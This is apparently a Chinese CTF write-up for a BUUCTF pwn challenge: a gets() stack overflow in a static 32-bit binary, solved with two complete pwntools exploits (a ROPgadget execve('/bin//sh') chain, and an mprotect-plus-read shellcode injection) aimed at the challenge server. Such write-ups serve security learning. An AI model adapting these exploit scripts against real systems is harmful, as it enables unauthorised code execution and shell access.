本文最后更新于123 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

1.分析
先checksec:

应该比较简单,去ida里看看:
main函数主要时调用overflow

overflow:
int overflow()
{
char v1; // [sp+Ch] [bp-Ch]@1
return gets(&v1);
}

其他啥也没有,函数一大堆,应该是静态编译,ret2libc就不用考虑了,传shellcode的话开了堆栈不可执行,用rop链试试。
2.实操
上面确定了溢出的量,现在需要一条rop链:
之前使用过的:ROPgadget –binary rop –ropchain
p = b''
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
然后加上溢出直接使用:
from pwn import *
from struct import pack#特别主意!
context.log_level="debug"
io=remote("node5.buuoj.cn",29923)
p = b'a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
io.sendline(p)
io.interactive()

3.另一种做法
看到这道题其实感觉可以用shellcode,之前遇到过mprotect函数嘛,来试试。
由于要设置参数,其实就根据函数原型来填参数:int mprotect(const void *start, size_t len, int prot)
需要设置三个参数,第一个是地址,第二个是大小,第三个设置权限。
第一个参数是修改保护区域的起始地址,有一个要求,是内存页的起始地址
用gdb看看吧,ida里实在是太乱,在main函数下断点:

刚好就选0x80e9000(0x1000的倍数),那么第二个参数就设成0x200,第三个参数取7。
用什么把shellcode写进去呢,可以用read函数,一样的看一下原型:
ssize_t read(int fd, void *buf, size_t count);
fd我们设成0
第二个参数就是我们的修改权限的起始位置,我们向里面写入shellcode长度的数据。
4.再来试试
from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",28352)
#elf=ELF("./rop")
#main=elf.sym['main']
main=0x8048894#这个打不通就用上面的
mprotect=0x806DDA0
addr=0x80e9000
read=0x806D290
payload=b'a'*(0xc+4)+p32(mprotect)+p32(main)+p32(addr)+p32(0x2000)+p32(0x7)
p.sendline(payload)
shellcode=asm(shellcraft.sh())
payload=b'a'*(0xc+4)+p32(read)+p32(addr+0x1000)+p32(0)+p32(addr+0x1000)+p32(len(shellcode))
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
兜兜转转总算出了哈哈












大佬好强!